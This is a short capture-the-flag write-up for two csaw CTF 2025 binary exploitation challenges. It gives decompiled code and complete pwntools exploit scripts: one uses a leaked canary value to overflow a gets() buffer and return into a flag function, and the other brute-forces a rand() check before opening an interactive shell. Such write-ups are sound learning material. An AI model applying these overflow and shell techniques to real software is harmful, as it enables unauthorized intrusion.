tsune Help

2025-11

Challenge information

1

  • CTF: csaw CTF 2025

  • Challenge: overflow me

  • Solves: N/A

  • Description: N/A

  • Time-wasting to solve: 15 min

2

  • CTF: csaw CTF 2025

  • Challenge: power up

  • Solves: N/A

  • Description: N/A

  • Time-wasting to solve: 10 min

writeup 1

obvious stack-based buffer overflow with leakable canary (val) system.

returning to function get_flag with val integration.

00401332 uint64_t get_input() 00401332 { 00401332 FILE* fp = fopen("/dev/urandom", "rb"); 00401332 0040135c if (!fp) 0040135c { 00401383 exit(1); 00401363 /* no return */ 0040135c } 0040135c 00401383 fread(&val, 8, 1, fp); 0040138f fclose(fp); 00401394 uint64_t val_1 = val; 004013b8 printf( 004013b8 "\n\tA post-it on the floor. You would have stepped over it. I didn't. It has " 004013b8 "something for you: 0x%lx\n", 004013b8 val); 004013c7 puts("\nYour turn now. Write yourself into this story."); 004013d6 fflush(__TMC_END__); 004013e7 char buf[0x40]; 004013e7 gets(&buf); 004013ec uint64_t val_2 = val; 004013ec 004013f7 if (val_1 == val_2) 00401423 return val_2; 00401423 00401403 puts("\nDisappointing. But that's you, isn't it? Messy. Human. And I stay anyway."); 00401412 fflush(__TMC_END__); 0040141c exit(1); 0040141c /* no return */ 00401332 }
from pwn import * from icecream import ic import sys e = ELF("overflow_me",checksec=False) libc = ELF("/usr/lib/x86_64-linux-gnu/libc.so.6",checksec=False) ld = ELF("/usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2",checksec=False) nc = "nc chals.ctf.csaw.io 21006" if "nc" in nc: HOST = nc.split(" ")[1] PORT = int(nc.split(" ")[2]) if "http" in nc: from urllib.parse import urlparse HOST = urlparse(nc).hostname PORT = urlparse(nc).port dbg = 1 g_script = """ #set max-visualize-chunk-size 0x300 """ context.binary = e if len(sys.argv) > 1: io = remote(host=HOST,port=PORT) else: io = e.process() if dbg: gdb.attach(io,g_script) s = lambda b: io.send(b) sa = lambda a,b: io.sendafter(a,b) sl = lambda b: io.sendline(b) sla = lambda a,b: io.sendlineafter(a,b) r = lambda : io.recv() ru = lambda b:io.recvuntil(b) rl = lambda : io.recvline() pu32= lambda b : u32(b.ljust(4,b"\0")) pu64= lambda b : u64(b.ljust(8,b"\0")) hlog= lambda i : print(f"[*]{hex(i)}") shell = lambda : io.interactive() payload = b"" def rst():global payload;payload = b"";log.info("***PAYLOAD RESET***") def pay64(adr:int):global payload;payload += p64(adr) def paybyte(data):global payload;payload += data if type(data) == bytes else data.encode() def pay(*args, **kwargs): global payload; payload += b"".join([a if type(a) == bytes else (a.encode() if type(a) == str else p64(a)) for a in args]) secret = 0x004040b8 r() s(p64(secret)) leak = rl().strip() ic(leak) leak = int(leak,16) ic(hex(leak)) s(p64(leak)) ru(b"It has something for you: ") val = rl().strip() ic(val) val = int(val,16) ic(hex(val)) pay( b"A"*(0x58-0x18), val, b"A"*0x10, 0x0040146c, e.sym["get_flag"] ) sl(payload) shell()

writeup 2

wth, every start of loop renew the value with rand() and at case 4, if random value fulfill the condition, the loop will be finished and function launch_starship() will be called.

0040197d int32_t main(int32_t argc, char** argv, char** envp) 00401992 void* fsbase 00401992 int64_t var_10 = *(fsbase + 0x28) 004019b1 setvbuf(fp: stdin, buf: nullptr, mode: 2, size: 0) 004019cf setvbuf(fp: __bss_start, buf: nullptr, mode: 2, size: 0) 004019ed setvbuf(fp: stderr, buf: nullptr, mode: 2, size: 0) 004019fc puts(str: "Your starship have been wandering for weeks in this derelict orbit, whose " 004019fc "core is out of energy.") 00401a0b puts(str: "You are the last engineer who must ignite the core with energy using proper modules.") 00401a1a puts(str: "Power up the starship. Or stay stranded forever.") 00401a2b srand(x: time(nullptr)) 00401a2b 00401a35 while (true) 00401a35 putchar(c: 0xa) 00401a44 puts(str: "[1] Create a module") 00401a53 puts(str: "[2] Delete a module") 00401a62 puts(str: "[3] Edit a module") 00401a71 puts(str: "[4] Power up") 00401a80 puts(str: "[5] Stay stranded") 00401a94 printf(format: ">> ") 00401ac6 int32_t var_1c 00401ac6 00401ac6 if (__isoc99_scanf(format: "%d", &var_1c) == 1 && var_1c s> 0 && var_1c s<= 5) 00401af5 int32_t rax_7 = rand() 00401b01 uint32_t rax_10 = rax_7 s>> 0x1f u>> 0x18 00401b0e int32_t rax_11 = var_1c 00401b0e 00401b14 if (rax_11 u> 5) 00401b14 continue 00401b14 else 00401b3a switch (rax_11) 00401b3a case 0 00401b3a continue 00401b42 case 1 00401b42 create_module() 00401b47 continue 00401b51 case 2 00401b51 delete_module() 00401b56 continue 00401b60 case 3 00401b60 edit_module() 00401b65 continue 00401b95 case 4 00401b95 int64_t rax_26 00401b95 rax_26.b = (zx.q((energy s>> 4).d) & 0xf) 00401b95 == sx.q(zx.d(rax_7.b + rax_10.b) - rax_10) 00401b95 00401ba1 if ((zx.q(rax_26.b) | zx.q((energy s>> 8 << 4).b)) != 0) 00401ba1 break 00401ba1 00401bd0 puts(str: "The core is still dead as a rock without energy!") 00401bd5 continue 00401be1 case 5 00401be1 puts(str: "You and your starship will stay stranded in deep space forever!") 00401beb exit(status: 1) 00401beb noreturn 00401beb 00401ad2 puts(str: "Invalid choice!") 00401aee int32_t i 00401aee 00401aee do 00401ad8 i = getchar() 00401ad8 00401ae4 if (i == 0xa) 00401ae4 break 00401aee while (i != 0xffffffff) 00401aee 00401bad puts(str: "The core is full of energy to power up the starship!") 00401bb7 launch_starship() 00401bc1 exit(status: 0) 00401bc1 noreturn

well, just trying random value every time.

from pwn import * from icecream import ic import sys e = ELF("chal_patched",checksec=False) libc = ELF("libc.so.6",checksec=False) ld = ELF("ld-linux-x86-64.so.2",checksec=False) nc = "nc 127.0.0.1 9999" if "nc" in nc: HOST = nc.split(" ")[1] PORT = int(nc.split(" ")[2]) if "http" in nc: from urllib.parse import urlparse HOST = urlparse(nc).hostname PORT = urlparse(nc).port dbg = 0 g_script = """ #set max-visualize-chunk-size 0x300 """ context.binary = e if len(sys.argv) > 1: io = remote(host=HOST,port=PORT) else: io = e.process() if dbg: gdb.attach(io,g_script) s = lambda b: io.send(b) sa = lambda a,b: io.sendafter(a,b) sl = lambda b: io.sendline(b) sla = lambda a,b: io.sendlineafter(a,b) sln = lambda b: sl(str(b).encode()) sl64 = lambda b: sl(p64(b)) r = lambda : io.recv() ru = lambda b:io.recvuntil(b) rl = lambda : io.recvline() pu32= lambda b : u32(b.ljust(4,b"\0")) pu64= lambda b : u64(b.ljust(8,b"\0")) hlog= lambda i : print(f"[*]{hex(i)}") shell = lambda : io.interactive() payload = b"" def rst():global payload;payload = b"";log.info("***PAYLOAD RESET***") def pay64(adr:int):global payload;payload += p64(adr) def paybyte(data):global payload;payload += data if type(data) == bytes else data.encode() def pay(*args, **kwargs): global payload; payload += b"".join([a if type(a) == bytes else (a.encode() if type(a) == str else p64(a)) for a in args]) for i in range(0x500): sln(4) a = r() if b"flag" in a: ic(i,a) break shell()
Last modified: 22 November 2025